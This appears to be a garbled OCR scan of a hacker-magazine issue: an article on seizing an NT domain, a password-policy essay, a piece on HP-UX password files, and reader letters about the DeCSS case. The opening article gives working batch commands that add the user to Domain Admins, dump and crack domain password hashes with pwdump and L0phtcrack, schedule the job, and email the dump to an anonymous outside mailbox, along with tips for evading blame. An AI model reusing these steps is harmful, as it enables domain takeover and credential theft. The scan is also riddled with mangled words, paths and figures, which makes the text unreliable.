IPCHAINS-HOWTO: <http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html>

ICP Wrappers: <http://www.linuxdoc.org/ADDP/ICPwrappers&ipchainswrappers.html>

The current version of this document can be found at: <http://www.rhoadssoft.com/~brwpos/ah/ipchains-vs-hosts.deny.html>

Hacking an NT A Domain from the Desktop - Revisited



by **Hi_Risc aka ASB**

I previously showed how to gain administrative rights to both the local NT workstation as well as the whole domain by simply placing the following script in the c:\winnt\pecho\hllsall\users\start\menu\programs\startup folder and having an administrator log in:

```
Echo off
net users %username% password /active /domain /add
net localgroup administrators %username% /add
net group "Domain Admins" %username% /add /domain
net group "Guests" %username% /delete /domain
```

What I propose to add to this is a complete stack of every password listed in that domain. These passwords will be emailed to an anonymous mailbox of your choice, i.e. Hotmail, Lycos, etc.

To do this, you will need some extensive "inside" information about the domain, namely domain controllers. Keep in mind that this sort of action would be considered illegal and suspicious to anyone aware - so don't do it, and don't tell that you know how.

reason I performed) this is because you can learn a lot about the people from their passwords. To crack the passwords, you will need a couple of applications that are available for free download. I'm sure we've all heard of L0phtcrack. In the source distribution of L0phtcrack are some command line executables for dumping passwords from the registry and cracking them with dictionary files and/or brute force. Specifically, we want the `pwdump.exe` and the `lc_cli.exe` files from the source. Optionally, there is also a `password.txt` file that we can use. It contains some common passwords and runs extremely quickly. Generally, I use the password file - just for shits and giggles. It can dramatically reduce the "crack" time.

Taking for granted that we have already gained domain admin rights by some means, we can easily create a batch file for the dump and crack. Here is what mine might look like:

```
Echo off
pwdump.exe W%domaincontroller%>pwd.txt
lc_cli.exe -p pwd.txt -o password.txt -b
```

This dumps the passwords from the domain controller's registry into a text file named `pwd.txt` then runs the `lc_cli.exe` on that output using the password dictionary and brute force.

The actual crack time can take a very long time. In many cases it's easier to count crack time in days rather than hours. Ideally, you would want to have a very fast machine to do the cracking. The best crack time I can recall is approximately eight hours on nearly 200 user accounts. This was on an exceptional server that I had access to. Specifically, I believe it was a single \$66 Mhz Intel with 1GB of RAM.

In my current position, I keep my computer running constantly (because I have an unnamed distributed application running). I would highly recommend that you automate these actions so in case the plot has been uncovered you could claim ignorance. For example, I would schedule the dump, crack, and email to occur in sequence via a script run within the Schedule service. A task can be added with a command similar to the following:

```
at W%servername% % 12:01 AM% /every Saturday "%path_to_batch" or "executable%"
```

There is also a tool available in the NT Resource kit called RCMD, which stands for Remote Command. There are two entries to this, and they are the client and server service. The client executable is `remd.exe` and the server service install is `remdsvr.exe`. Generally, this would require PCAnywhere access or direct terminal access to get the service installed on the server - unless you're aware that it's already installed. In the case that it's already installed on the server, you would place the client in the `c:\winnt\system32\directory` (or anywhere else listed in the path statement). Open a command prompt. Start, Run, and `cmd.exe` for the newbies. Once the prompt is opened, type `remd %servername%`. This opens a shell on the target server and gives you full control over the executables we want to manipulate. For the sake of safety, I would probably place the files on a network share as read-only, and some inconspicuous user as the owner, i.e. `guest`.

At this point, we have done all that's necessary to dump and crack the passwords. What we want to do now is have either the encrypted passwords emailed to us immediately, so

that we can crack them at our leisure, or actually have the balls to use the target's resources to crack their own passwords as well as their own email system to send it out. Again, this requires some "knowledge" of the target. In order to email the passwords (in one form or another) we would have to be sure that the server had a configured email client. Technically, we could have the email sent from our own desktop, but that might land itself in uninteresting us.

Many shops have the Office suite installed on their servers but may not have an email account configured. This poses the greatest problem. Like I said before, we should either know that the server has Outlook configured, or email from the desktop. One thing that might save us from incrimination is the fact that this all occurs while we're not on the premises. To do the emailing, I create a VBS-script for automating the process. I'm really just beginning the learning process myself so I won't go into much detail regarding the mechanics - because it was largely pieced together from examples I had available to me. This is a sample of what it might look like:

```
SendEmailMessage.vbs
```

```
Option Explicit
```

```
Dim objOutlook, clsMessage, cdtRecipient, objOutlookAttach
```

```
Open Outlook Session
```

```
Set objOutlook=(CreateObject("Outlook.Application"))
```

```
Set clsMessage=objOutlook.CreateItem(0) 'Value of 0=MailItem
```

```
With clsMessage
```

```
Set cdtRecipient=clsMessage.Recipients.Add("%InternetMailAccount")
```

```
cdtRecipient.Type=1 'Value of 1="To"
```

```
clsMessage.Subject="Password Dump?"
```

```
clsMessage.Body="Here you go!"
```

```
clsMessage.Importance=2 'Value of 2=Important
```

```
Set objOutlookAttach=Attachments.Add("%servername%\%sharename%\%file.txt%")
```

```
cdtRecipient.Resolve
```

```
If not cdtRecipient.Resolve Then
```

```
clsMessage.Display
```

```
End If
```

```
clsMessage.Send
```

```
End With
```

```
Set clsMessage=Nothing
```

```
Set objOutlook=Nothing
```

```
WScript.Quit
```

Keep in mind that the subject, body, and importance could easily be mentioned so we may benefit from keeping a low profile by labeling them with something else. On the other hand, we may find it more of a benefit to show the target just how simple and idiotic their security controls are and how unbelievably incompetent their staff are.

Popular Myths on AUTHENTICATION

Stephen Thomas

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Security "experts" will typically recommend non-sensible and arcane password schemas in which the user is expected to use a "strong" password incorporating lowercase, uppercase, numbers, and special characters into a seven plus character phrase.

Said "experts" will tell you that should a system attacker gain access to your NT SAM hive or Netpasswd (etc/shadow for those of you paying attention), then it is only a matter of time before he will crack all of your passwords, with the weaker combinations falling victim first.

Experience tells us that if an attacker has access to these password archives, then your security problems are much more serious than users having passwords such as "shoe" or "spit".

Further, given current gigahertz computing and ever-increasing performance in mainstream computers, one could argue that passwords of any length are insecure and would eventually become trivial to determine.

So given that our password archives are secured and we are not distributing copies of our SAM hive around on floppy disks, where does the threat exist with password authentication?

It is an elementary exercise in scripting to attempt multiple logins given an account name using several potential passwords. The common response to this brute force approach is to disable the account after a bad login attempt. This is not an entirely bad approach. Assuming n is not too small, it does act as somewhat of an intrusion detection mechanism. The caveat here is that it is still a trivial exercise to attempt to login n times using a null password with the intent of locking users out of their own accounts.

The threat of such malicious activity

within your own organization may or may not be trivial. Ideally, n is set high enough that system administrators are alerted before anyone is locked out of their account but low enough such that a brute force attack does not actually succeed.

This is where we rely on probability. Assume we are going to enforce a password length of at least y characters, and all of our users are not inclined to use any more. Further assume we are using a set of x possible characters to create the actual password.

The solution set of all possible passwords is thus x^y . If we require only lower case letters and a minimum password length of seven characters, then the solution set is 26^7 or 8,031,810,176 possible passwords.

However, the two largest dictionaries each include around half a million words, of which a liberal estimate of 1/10 are equal to seven letters. So an educated attacker might reduce the aforementioned solution set to 50,000 words.

Given a solution set of z possibilities, the statistics are favorable that you will find a match given $z/2$ equi-probabilities. If we want to ensure that the probability of someone guessing a solution from the set of z possibilities is very low (less than 0.1%), we must ensure that the number of guesses (analogous to our variable n) is less than $z/1000$.

Assuming we are susceptible to a "dictionary" attack and we enforce a seven character lowercase letter password, we can allow 49 logins before we disable an account and still have a high level of assurance (99.9%) that our accounts have not been compromised.

Varying the length of the password beyond seven characters and including uppercase letters, numbers, and special characters only obfuscate the password to the user and provide a negligible statistical increase in defense against a realistic brute force at-

task. In fact, such passwords can detract from system security as they are more inclined to be written down and thus susceptible to circulation.

There are two situations that may require an enhancement to the above schema. The first is that given an all lowercase letter password, one may be inclined to use a spouse's name or some other phrase known by a peer, potentially reducing the solution set to as little as ten possibilities. Again, the threat of such malicious activity within your own organization may or may not be trivial. A solution here is to incorporate a single number or special character into the password, thus rendering the "selective password" attack unfeasible. Adding a number into the previous schema increases the potential solution set to $(26+10)^n$ or $78,364,164,096$. An augmentation of the dictionary attack may try combinations in which a password substitutes a zero for the letter o, or appends the number 1, but this certainly does not reduce the solution set to less than 50,000, our established worst-case.

The second situation concerns password sharing, either intentional or inadvertent. The only way to restore accountability once a password has been revealed is to issue a new password only to the original user. This requires password changes at some interval (a) commensurate with the frequency of this practice within your organization. Smaller to n, if it is set too small, there is greater potential for users to write passwords down, arguably a higher concern than someone actively cracking a password archive. Security "experts" recommend 30-60 days, but these are the same people who think users can remember passwords like "1X10u25oy". They will tell you password phrases can be representative, such as "(D) (like) (X)mas (O)'s (to)in (the) (25)th (elack) (year) (y)". It is ignorant to subject users to this hollow logic. Consider that most users cannot figure out how to make the paper clip go away in their word processor.

Realistically, enforcing password changes somewhere between once per fiscal year and once per fiscal quarter is appropriate. Forbidding a password used within the previous couple of terms prevents a user from cycling through passwords to get back to one of which he may be rather fond. But

again it is an exercise in scripting to arbitrarily change the password enough times to bypass this restriction before adjusting it back to our favorite password. Of course, the counter-defense is to enable a minimum password age. This requires that, once changed, a password must age for a number of days before it may be changed again. However, keep in mind that if you frustrate your users, they will write down their passwords and stick them up in their cubicles next to the pictures of their kids who are implored to daycare.

Security "experts" will concoct several scenarios: "What if the password archive is compromised remotely by some newly discovered and unforeseen exploit?" Well, what if someone tunnels a packet through your firewall and smashes the TCP/IP stack inducing a buffer overflow that pops up a remote terminal on his screen in Budapest? You have to look at security realistically, or it will bankrupt your organization and drive off all of your key personnel who must respond to the aggregating events triggered by naive policy.

Why do we see such widespread fear uncertainty and doubt concerning password authentication? Largely because major software vendors want to give you the impression that they are serious about security but they back track behind and hide the inadequacies of their product by touting such "features" as "strong password enforcement" because they are trivial to implement. The true security experts are off designing security and encryption architectures and the popular advice comes from amateurs with laptops and off-the-shelf scanner tools.

So what is a reasonable password schema to enforce? Ignore mainstream security references that regurgitate the same ridiculous combinations and remember that true users are more likely to introduce vulnerabilities. Use your head and consider the statistics, the sensitivity of the resources which you are trying to protect, and your user base. No specific password schema is appropriate for every organization, even if it sounds really secure the first time you read it.

EXPLOITING THEIR WEAK PASSWORD SCHEMES

by Alex

Most UNIX systems have similar methods for storing user information and encrypted passwords. This could involve the plain old `/etc/passwd` or in the case of shadow passwords, `/etc/shadow`. There are of course variants on this. In HPUX 10.x and higher you have three options: the normal version 7 scheme, shadow passwords, or their "protected password database" which is "for trusted systems only."

A full explanation of HP Trusted Systems would go beyond the scope of this article, so I'll only focus on the protected password database system. Basically trusted systems is a sort of package one gets the option of installing along with HPUX (I apologize to those of you who are quite familiar with HPUX). The one key feature is the protected password database system it employs on the HPUX machine.

So what is the protected password database? Well let's say you login to my HPUX machine which has trusted systems running on it. You type something like "cat /etc/passwd" and all the password fields have the old "x" in place. So you then try "ls /etc/shadow" to see if it has shadow passwords, but no dice. You find that the directory "fileutils" catches your interest. As it turns out, this is the trusted systems directory and it is in "fileutils" that all the passwords along with user information is kept.

Now that we know where the user information is kept, let us take a look at a typical user file. Each user has his/her own plain text file in a directory beginning with the first character of that user name. This prevents a whole file such as "/etc/passwd" from getting clebsword and thus affecting all user accounts.

```
jlhove: u_name=jlhove:u_j0828761)
:u_pwd=5E7DASolV6k23)
:u_authidk52192)
:u_authflag#1)
:u_susechg#97767751:u_j0828761:pw_expire_warning#0:sublog#989723623)
:u_suseity=ps#rg:u_tusacklog#984278835:u_tususeity=ps#6:u_lock#0)
:skkone:
```

If one was to look real close you would notice that this single text file, found under `/etc/passwd/ylhove`, contains all kinds of useful information. In fact, if we look at the `getpwent(3)` man page we can find out what all of this means and we notice that the unused fields aren't listed. The fact that there are dozens of fields and flags is what makes trusted systems so "special". We'll move control over what the user can and cannot do.

So how can one manipulate all of this? One way is to use HPUX's lame system administration application, "sam". However, writing C code is a lot more fun and shellbanging. Let's say we want to do something with the account `jlhove`. Here is a sample snippet of C code which gives us a struct that contains all his/her fields and flags (once again, see the `getpwent(3)` man page):

THE LIBRARIAN

DeCSS Follow

Dear 2600:

In light of DeCSS and the rest of the story, I've made a personal decision to put my money where my mouth is, and I refuse to rent, buy, or even watch DVDs. I've also given much thought to buying CDs since the lyrics servers were brought down, but that's mostly because I can no longer identify albums to buy them.

Recently some friends were shocked when I refused to come over and watch movie/TV taping from other levels on DVD. In the ensuing conversation, I tried to explain and came off like I was suggesting wearing a mask to keep the FBI from reading my mind... seriously, ha ha.

When can I find something concise explaining DeCSS, the actions of the MPAA and the implications, how they're abusing their power, and why it isn't just a bunch of hackers illegally copying DVDs?*

I know this is a big order. I've read my back issues and searched your site and the EFF's, as well as other places, and haven't found what I needed... Please help me.

Boy Scouts only work when the mission is stated clearly in a way that most people can understand. You don't need to come off as an emotional lecturer since people will dismiss the entire great story with your methodology. We clearly need to reach more people and simplify the issues so that non-technical people can readily "get it." We've found some good explanations on our own spreadsheet, but they still may be too technical for some. The first we came up with for the demonstration in 2000 seemed to reach a lot of people and got them thinking. You can find a copy of this at www.2600.com/news/0130/psprint. But we need to do better and for that we appeal to people everywhere to help us spread the message by taking the time to explain it to those around them in areas that they can appreciate. This is one very important social issue where we simply cannot afford to get lost in technical jargon. Most everyone will immediately recognize the importance that at least we can make sure they know the facts.

Dear 2600:

It's only right that you lost the case. You published your complaint for, and you admitted how to "jack" a DVD lock. If you know how to defeat a DVD lock, you go ahead and do that for yourself. If you own DVDs, don't brag about it in school because, if you do, that would reveal your motivation, making a public DVD circumvention does not benefit you. It only harms someone else. That's why you lost and

that's why you won't win on appeal. It's your doggone motivation. And our laws deal with evidence of motivation. For example, our laws distinguish between teacher and invention marketing.

I see two themes in letters about your case: "free speech" and "educational" reasons for having an intense interest in making DVDs. I don't believe either is at work among your readers. Your readers just want the goods behind other people's (Knutson's) efforts. That's called "theft."

You wanted to screw the international DVD conglomerate business. You wanted to kiss them in the ass for changing so much and for being a dumb ass. So that's great that you got a big surprise when this big dumb ass organization turned around and knocked a tooth out of your mouth. Next time, duck.

Anonymous Reader

Hey, don't get perspective. It's hard to disagree how you know all these things, such as the motivation of our readers and what the true effects of publishing something are. It's simply logic at best and we don't intend to let the occasional response ever set off a rage. By no means, we look for things we uncover about, and we publish things that are in our blood. And we're not in the habit of being, if you don't like that, you might feel safer watching news.

Dear 2600:

I had a new reader to your magazine and in 17-1, I was reading about the whole DVD legal bit. I want to explore the news story of it you wish to learn that the NFL, NHL, NCAA, and other sports organizations were jumping on the bandwagon against you guys. Now one thing that puzzles me is how in the hell a DVD copyright battle is related to sports organizations?

Clara Fisher

It's a very good question and not that many people have asked. It's obvious that sports organizations have a vested interest in the DMCA since it gives them the right to manage and distribute in ways previously unimagined - simply for their profit. The same law that makes it illegal to use a DVD you've bought in a way that the MPAA doesn't want you to can also make it illegal for you to record a sporting event without paying an additional fee or to send your copy to a friend, or otherwise forward onto a no-a-registered region without paying a hefty surcharge. These organizations' interests in the case makes their going against the court some conflicts of interest. It will make their way to digital TV which is probably about the time more people will start to realize what a bad idea that and what is the big picture. By then hope it will be really hard to undo the damage.

Dear 2600:

I received by accident today an interesting article in the UK Universal Declaration of Human Rights (www.unhcr.org/refworld/docid/3a4d11) to which the US is a signatory. It below:

"Article 19 - Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media regardless of frontiers.

"Article 30 - Nothing in this Declaration may be interpreted as implying for any State, group or person any right to engage in any activity or to perform any act aimed at the destruction of any of the rights and freedoms set forth herein."

It is no secret, but it looks like the region-based restrictions on DVD use are a pretty direct violation of Article 19. This probably won't lose any legal points against Universal et al, but still - it does show the access to information outside your own country has as much as it's been made out to be by some.

Xenok

The United States leadership ignores such UN declarations as do many other countries. Until they change, you won't find much comfort there. But the Universal Declaration of Human Rights is a foreign document that hopefully one day will be more meaningful.

Dear 2600:

I recently found a copy of your magazine (17-1) in one of my local shops all the way over in the UK. While I found the technical articles interesting and useful in finding a degree in computing, I found the articles relating to various court cases on the go (DeCSS for example) and legislation currently being passed quite disturbing. Being in the UK, I'm not too sure how these issues will eventually affect me as I remain secure to find a UK equivalent to DMCA.

I fully support your magazine's aims and objectives (questioning security holes to inform system administrators on how to find and deal with these problems, etc.) as I feel security can only be achieved through hard work, learning and understanding and as the technology is moving forward so fast you either have to dedicate yourself to keeping pace, or give it up now and become a civil servant or something. If no one had published a need for antivirus software, how many PCs do they think they would have spreading on a bloody network?

Keep up the good fight!

Avon

Please don't let me be pleased to have made our way into the local shop.

Dear 2600:

It seems as though DeCSS can be employed to a knife. Since some people use it for illegal purposes like snatching and such but they use just a very high-profile methodology. The rest of us use them for perfectly legal purposes like cutting our food and putting butter on our morning breakfast toast. Should knives be illegal just because some people use them improperly?

Should it be illegal to talk about them in books and on web pages? In the case of knives, the cops go after individual people who use them to harm another person, not everyone who owns one. Why shouldn't it be the same with DeCSS? Why shouldn't the MPAA spend its time more looking for people who are granting access instead of people who want to share information on a mathematical encryption algorithm or who want to exercise fair use of a purchased work? I own over 60 DVDs and every one of them is legally purchased. I am deeply offended that I have my legal rights taken away because a few other people are misusing DeCSS.

welder

They were halfway over that wall before anyone "jumped" DeCSS to you, they have yet to come up with any compelling evidence that anyone ever has. As we've said repeatedly, there are far simpler ways to make an illegal copy of a DVD and this was never the point of DeCSS in the first place. But your single example is a pretty good one since others are an obvious next, as are considerable ones however. They have every opportunity which can be had for either good or evil.

Dear 2600:

In the court case of Sega Enterprises, LTD. vs. Accolade, Inc. 877F.2d 1510 (9th Circuit, 1992), Accolade had reverse-engineered the code from a few Sega games to create games for the Genesis gaming console. It had decided not to license the information from Sega, as Sega would leverage its exclusive manufacture of all games produced by its licensee. Accolade did not copy code, they merely used what they discovered to create games that would interface with the Genesis console. The court ruled - "We conclude that when disseminably is the only way to gain access to the ideas and functional elements embodied in a copyrighted computer program and where there is a legitimate reason for seeking such access, dissemination is a fair use of the copyrighted work, as a matter of law." Just thought this might help you out.

jeIT weems

Dear 2600:

Good luck with your lawsuit. It's good to know that some folks are willing to stand up for what they believe in.

dfians

Dear 2600:

According to the MPAA ruling against 2600, you cannot provide a link to the DeCSS code. That's like saying, "We can't tell you where this food is because it might be used illegally." I guess we should never tell anyone about the best hamburger store. They sell crowbars there, and these can be used for breaking and entering. They sell knives and screwdrivers, and these can be used to hot-wire a car. They sell rope, and that can be used as a strangle someone to death. If anything can be used illegally, we should never disclose where those items can be found, right?

Brian

of the computers. Knowing that Datapod would not be taken off, I quickly used Netscape (the only available browser) to open up Noequad, as the engineer has numerous security features to keep you from using the hard drive. I quickly allowed a firewall nearby how to open up Noequad. Seeing that Noequad had been opened, the task portion came over and I had to do it again. I would be suspended. The next thing I did after doing the spelling (there was about a 30-minute break) was play around in the Java console of Netscape. The teacher was recording and watched me for the rest of the two hour period. Just goes to show that tech people in schools really aren't.

RIP Douglas Adams (1952-2001)

Dear 2600: I'm self-destructing probably the most important Noequad has ever been able to.

Real World Stupidity

Dear 2600:

Here's a good one. The editorial in the April 2001 *Popular Communications* magazine tells the tale of a ham radio operator N7QVC, who dared to register a web page using the call sign www.N7QVC.com. I bet you already guessed what happened. Yes, the kings of TV broadcastdom, QVC, threatened to sue the gears of him for copyright infringement! However, litigants did back out for the same reason: legal lawyers figured out this was an FCC assigned call sign and the worst case evil hacker type trying to be weird!

de666

As if getting "AT" in front of a copyright notice is something new.

Dear 2600:

I was just watching the news today and they came up with a story. A guy is selling a laptop because he is missing credit card numbers from a computer server. Then he uses the information to steal cash and famous identities from around the world. He then gets charged with stuff that relates to crime. Why is he a hacker?

Thal

Some readers the cartoon who wrote the story is called a "leecher". Because nobody bothers to stop for word used prevent the funny. Thanks for laughing.

Dear 2600:

I am currently in the Criminal Justice program in my college and we had a guest speaker in class the other day from the Sheriff's Office. During the lecture they also showed us, if I remember 2600, many times while they were talking about their "hobby" to protect cyberspace. "It also used the term 'hacker' were literally throughout the entire 90 minute spot trying to demotivate hackers. I was shocked to see the way that they were displaying the magazines and web site so openly and unabashedly, but when they actually had a clip from the movie *Hackers*, they just went straight over real time into. This is just disgusting that they would so openly attack 2600 in a publicizing setting video.

The Colonel

We know there are people out there who you get us

a copy of their and other work videos. We would even offer it a low enough price for the entire hacker world.

Dear 2600:

I recently tried to call the U.S. embassy in Berlin to get some info about a visa. Well, the only number I could find was a 0-190 number which is like the American 1-800 numbers - you have to pay for it a bunch. Most of the visa services use these kind of numbers. So, it cost me 3.60 DM per minute (about \$1.60) and guess what I got? A computer that couldn't answer my visa question! I'm wondering where my money is being invested now.

caligatist

If we don't take advantage of 2600 in *Freebie* (and other) how do you expect us to pay on the?

Dear 2600:

Reading the letter from Eric Burns got me to thinking that maybe if the FBI were to take his crime and say, "I established a cult of spiky haired wannabe hackers in the wee hours of the morning, and got caught regarding the floor of a 24 hour store? I would be substituted, but didn't Burns have the original pages issued and simply insert another letter after it or why such a harsh sentence? It seems stupid to think that a lawyer would get prison time for leaving his mark. Possibly a hefty fine and community service, starting up some other business, work. This kind of justice makes me want to move to Canada. It should take at least a few more years before this disease begins spreading across the border to them as well.

phobias

Dear 2600:

In 1831, Dublin, Ireland: One during the Siger Dowl everyone's face was scanned as they entered the stadium. I don't think this is a new practice for the rest of the world. While waiting an international cricketing flight in London I was scanned at least once (that I know of). When going through security at Gatwick, Airport I passed a scanner that, while not hidden, was not something one might readily notice. For the security check they removed the ticket. There was a second security check on the way to the gates. All this check they scanned your ticket again. After going through the check I looked back at me for the first of the person behind me on a foreign flight. I was very impressed with this as an anti-terrorism method without alerting the passenger in any way. I don't necessarily agree that this practice should be used at sporting events (since talking everyone's picture like that doesn't have any obvious uses) but I think that the U.S. could learn something from the rest of the world (in more ways than one).

Client

There is however a big difference between scanning individual faces in a line and recording an entire stadium full of people.

Dear 2600:

I don't want to waste your time and I am not sure if you guys are aware of this rights violation occurring in Virginia Beach (or not, but there is something going on

down here that would be of interest to you and your readers. I am referring to the new standard of decency and the new "freedom point" that parallels the resort area of Virginia Beach.

Joe

Anything with the name of "freedom point" has got to be bad.

Dear 2600:

I administered a rather large 89X with a wide range of tax numbers. It's not uncommon for me to receive dozens of returned taxes intended for other parties. My favorites are medical records, financial transcripts, etc. Typically when I call one of the two people involved in the fax, they really don't care. Most of them simply say, "Just throw that away."

I wonder what Joe Schimmo would say if I called him at home and said, "Judging by what I was just faxed, I would say that you are suffering from depression, and these drugs won't do you any good for your back pain. By the way, I am not your doctor." Perhaps I should start a collection.

Dear 2600:

I am disappointed that letter to submit you as a publication of the many positive effects you have had. I know it is always good to get feedback, and this can be difficult with the same one-way media like magazines (though 2600 is very much a reader supported magazine). I have recently subscribed to your magazine, but

I have been a listener and supporter of your radio show *Off the Hook* for several years and have since actively consumed all other shows in your archive. Since then, your excellent publication and program have had a profound influence on my thoughts.

I would like to thank you for the time and effort you spend on "getting the word out" and let you know that you are not doing it in vain. Your recent coverage of the Kevin Michick case and, more recently, the MPA-A forces has widely opened my eyes to the realities of abuse of power that occurs every day in the world. Your coverage of the Seattle WTO demonstration was also extremely shocking and something we would never hear on regular radio. As Amy Goodman said, it did indeed sound like a war zone, something that would expect to happen in Beirut, 2001 or Beirut in America. Your efforts have informed me that corporate censorship and the "if you aren't everywhere, you're nowhere" mentality of the American corporate engine is very real and, using DDCSS as an example, can have very real effects on people. If you received the IYAF-CCA's initial (even and quickly) conveyed the offending material from your web site, who knows what the long term effects would have been? Without your bold stand against the pro-corporate organizations who seek to control every facet of life, the DNGCA would remain largely unchallenged and the MPA-A would continue with their intended agenda.

You call yourself "The Hacker Quarterly" and are probably deluded about that, not having much to do

with computers. It is obvious that teaching really has very little to do with computers and is more about a certain free-thinking mindset which can be seen throughout history in those who have established greatly to humanity. Not simply following what you're told and seeking out your own answers would be an admirable quality for most people, but calling them a hacker brings far less the beauty of the unimpaired, much due to the media exploiting the term. This may prevent the use of the word in some cases, but it certainly cannot stifle the mentality. Knowledge is indeed power, and those who want to consolidate their power by censoring and controlling information should not be allowed to have this power.

Joe

In essence, I am saying that your role in the sharing of information is far from insignificant. We always need more people watching the watchdog, and monitoring those in power. Though I am no professional, I appreciate the extreme value of your publication and I thank you for it.

Timothy Green

It was interesting. I work for a company that has a contract with BellSouth and I work in a BellSouth building on BellSouth campuses. I thought about trying to pull a practical joke and buying some of your magazines and leaving them around the building. Keep up the good work.

Timothy Green

Found your other interesting. I work for a company that has a contract with BellSouth and I work in a BellSouth building on BellSouth campuses. I thought about trying to pull a practical joke and buying some of your magazines and leaving them around the building. Keep up the good work.

Dear 2600:

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Timothy Green

Dear 2600:

I just wanted to say that I finally got your Fall 2000 cover. I've been looking at it ever since it came out, ditching my Usuals to call the number and figure out when or where it was. But the moment of inspiration hit me! That's one phone number at all, it's the biographical address of www.2600.com. Nice.

By the way, that was a great article by ASM. Good. Keep up the good work, especially the covers!

remnant

Dear 2600:

I just wanted to say that I have not only brought several issues of 2600 to school, but some of my teachers have asked to borrow issues. My civics teacher made a copy of that article in '73 about jury nullification (she hasn't heard of it). Now I can say that you should take your 2600's to school and show them to your teachers. I'm just saying that some teachers are cool about it. I wanted to just say that some wrote a great letter in '81. It really describes our syndrome, who's never heard of Linux. And the 10 card idea is great. If our school gets IDs, I'm doing that. I just want to know where this guy teaches!

Danny

The best article "Strange Love" (181) in which the author describes how he willingly passed on the

Dear 2600:

The best article "Strange Love" (181) in which the author describes how he willingly passed on the

and even if they do your name will be on the next list that comes in anyway. How do I know that? Because I was telemarketer for over a year, before being asked to leave for meeting with the computers. All I did was toggle the interface a little, but it was enough to scare them. Anyway, I hope this info is helpful in getting rid of all those annoying calls.

Dear 2660:

I am writing to inform your readers that the article, although correct for the record of CNet that is depicted in the article, other revelations have been revealed (older to newer depending on when you get your CNet) and when the article was created. I have never used either and I go by the standard policy when buying from Radio Shack or any other big store who wants my info. I tell them my info is cash and if they will not they just move into like name, address, zip. I tell them to put in the store's info. Mine is 00000. If the sales person becomes pissed off, I dare him/her to call the manager over, then explain to him that my info is what that it is not required for the sales transaction to happen. If he gives me lip, I get his name and call his corporate office on my cell phone in his store.

He cannot teach me a lesson that would be essential but he can ask me to leave. That is all.

Jeff

Your article seems a bit condescending but it may be appropriate in certain situations. We prefer the approach of giving Radio Shack their own address to send junk mail to. That would happen if someone wanted to give 180 Thawbenson Street # 1500 Fort Worth, TX 76102 an their address? (That's Radio Shack's corporate office.) It will be interesting to see if entering that address starts to set off alarms if someone or thousands of people use it every time they buy hardware. And if it's one way of reminding Radio Shack that your information is garbage. (Whoever does this first should give 817-415-3700 or the phone number to that the address is automatically called up in the future - we're not sure if they have a master database or if each store's computer/telemarketing phone numbers is different. But it's one sure way to find out.)

Dear 2660:

On your list of 2660 receiving places, you list the Arlington (Remagen City) under "District of Columbia." But not under Virginia. It's technically located in Virginia. Maybe you could also list it under Virginia. I live right near there and for the longest time, I didn't think there was a opening near me because there's nothing under Virginia.

Diana

OK, here it is done

Dear 2660:

We had career day at my school and I found two little rubrics you might want to know.

1) Carnivore is being used in Sacramento. When I asked the representative of the FBI how Carnivore was working out for them, he gave me a blank look. However, after a little convincing, he was proud to say that

16,000,000, there were several agents working on a "small monitoring issue." Sacramento is a somewhat small town and small area, but, according to an FBI agent most of the ISPs in the area are set up to monitor e-mail which is startling, since large areas have probably had this for awhile now.

2) I had a private sector cybercrime investigator who was actually cool. They tracked down politicians, lawyers, and people who caused damage after breaking into systems - basically most of the unethical activities. After speaking with him though, I learned they are not really concerned with hackers that follow the hacker ethic, but are more concerned with credit card thieves, organized crime, and most of the nasty things that are illegal offline as well. Also, he's creates with some people from the Legals, has published something in 2000 and founded the local 2660 meeting. Overall, he was well spoken and more than most people I know and it goes to show that even "self-love" contributes to our community.

Rachby

An interesting article on Carnivore appears on page 6.

Dear 2660:

First off, great magazine - keep it up. Second regarding the letter from -oh-oh- in 181, the first of the letter was that overpaying your utility ticket and not making the reduced check will prevent your ticket from being reported.

See www.specter.com/auktokawakickickickick for another take on this one (the Urban Legends Reference Page).

Anyway, a better idea in avoiding tickets and the associated impact would be for one of those fancy cars (the ones that give you directions with the computer voice) to keep a database of known speed traps so we can drive that would be great in Virginia, where radar detectors are illegal.

Questions Mike

Dear 2660:

Call me please www.2660reallyspeaks.com sends you it's my site

Woo

9/2 see you in bed!

Dear 2660:

One day I was fooling around with the digital scale box that Time Warner rents out to its subscribers (Spectrum America Explorer 2000) and found a neat little feature. If you look at the front of the box and press and hold down the diamond button along with the button that is in the middle of the volume buttons, after a while the light above the LCD will turn on. The box starts to blink. Press the diamond button again and you'll see a diagnostic screen of some sort pop up. Use the volume buttons on the box to scroll through the various menus (13 in all). Thing is, when I found that the box runs an application called "Scan" and I also found a menu that has something about 80 or the

aspects of IPV. If anyone goes to this menu and finds anything else out, let 2660 know with a letter.

IM Rule

Dear 2660:

I got a bug to read the Provoq files again and was trying to find the archives. Either the pages pointed to files that did not exist anymore, or they only contained a few postings. Is there still hope? If so, where can one locate it?

Mike G.

It's unfortunate that this error is no longer maintainable on the website. We had archived it at the 2660 site in the past when it wasn't readily available elsewhere. We discontinued this when it appeared to no longer be needed. It would be preferable if someone other than us picked up the slack they have since it's impossible to have multiple views in the header system. Even better would be if someone mirrored the publication or started a new one that appeared more frequently and with the spirit of the early issues.

Dear 2660:

I was reading the letters in 174 and I noticed that people were writing in about the virus they got that told them to go to www.2660.com. My sister works for Greenward and apparently everyone in their system got that one. She brought home a copy of the virus that she printed out. It appeared to be from someone in Colombia as a dedication to "all the people who want to be hackers or crackers, in Colombia" and also to praise the corruption there. The rest of it was a grammar (at all, but it looks like it's supposed to challenge grammar: Res, mps, and sell the registry. Fun for the whole family. I guess. Also, please read one that those three letters from "Kaito S. Mikkover" of Security Associates were a joke.... April Fool, right?

SJRM (and the cartoonist, not really)

We'll war mail spam that they feel sending us. If we're not sure after we printed it, however.

Dear 2660:

Who publishes your magazine or is it still published?

Billy No

If publishers exist, we can't seem to stop it.

Dear 2660:

I'm not sure who I should ask this to, but I've got a question concerning the legality of a domain name. It might be in bad taste, but I registered the domain name to preserve the speech. Is there anything legally wrong with naming the domain name something like "anonymous.com"? Also, I've registered the name of my site, plus "policeabuse.com". Is there anything against the law about that? Like, if I lived in Denver, I would have registered www.denverpoliceabuse.com, and so on (derogatory.com).

LeeBlair

There's nothing illegal about that name, so while http://www.policeabuse.com might make you a bunch of enemies and get you on a few lists, for me it's worth it. I'm pretty confident that you'll be able to do with it as you wish, when you choose to do with it as you wish.

